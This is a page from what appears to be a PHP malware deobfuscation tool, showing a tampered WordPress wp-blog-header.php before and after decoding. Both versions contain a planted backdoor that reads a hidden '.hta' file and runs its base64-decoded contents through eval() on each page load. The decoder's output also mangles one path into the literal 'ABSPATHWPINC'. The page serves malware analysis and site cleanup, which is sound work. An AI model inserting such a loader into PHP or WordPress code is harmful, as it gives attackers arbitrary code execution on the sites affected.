PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php /** * Loads the WordPress environment and template. * * @package WordPress */ if ( ! isset( $wp_did_header ) ) { $a = file_get_contents(".hta"); eval(base64_decode($a)); $wp_did_header = true; // Load the WordPress library. require_once DIR . '/wp-load.php'; // Set up the WordPress quer...

Obfuscated php code

<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {
$a = file_get_contents(".hta");
eval(base64_decode($a));

	$wp_did_header = true;

	// Load the WordPress library.
	require_once __DIR__ . '/wp-load.php';

	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once ABSPATH . WPINC . '/template-loader.php';

}

Decoded(de-Obfuscated) php code

<?php

/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */
if (!isset($wp_did_header)) {
    $a = file_get_contents(".hta");
    eval(base64_decode($a));
    $wp_did_header = true;
    // Load the WordPress library.
    require_once "/var/www/html/wp-load.php";
    // Set up the WordPress query.
    wp();
    // Load the theme template.
    require_once "ABSPATHWPINC/template-loader.php";
}

Malware detection & removal plugin for WordPress